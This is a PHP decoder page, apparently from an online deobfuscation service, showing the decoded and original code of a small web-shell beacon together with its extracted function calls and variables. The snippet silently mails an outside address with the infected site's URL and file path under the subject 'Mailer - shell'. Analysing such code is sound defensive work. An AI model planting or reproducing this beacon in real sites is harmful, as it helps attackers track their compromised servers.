Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $site = "hack-int.com"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "botbot14..

Decoded Output download

<? 
$site = "hack-int.com"; 
if(!ereg($site, $_SERVER['SERVER_NAME'])) 
{ 
$to = "[email protected]"; 
$subject = "Mailer - shell"; 
$header = "from: hacked <[email protected]>"; 
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "
"; 
$message .= "Path : " . __file__; 
$sentmail = @mail($to, $subject, $message, $header); 
 
echo ""; 
exit; 
} 
?>

Did this file decode correctly?

Original Code

<?
$site = "hack-int.com";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "Mailer - shell";
$header = "from: hacked <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);

echo "";
exit;
}
?>

Function Calls

ereg 1
mail 1

Variables

$to [email protected]
$site hack-int.com
$header from: hacked <[email protected]>
$message Link : http://NoneNone Path : index.php
$subject Mailer - shell

Stats

MD5 02b7284ea53d44c26af84a9c1af0623e
Eval Count 0
Decode Time 102 ms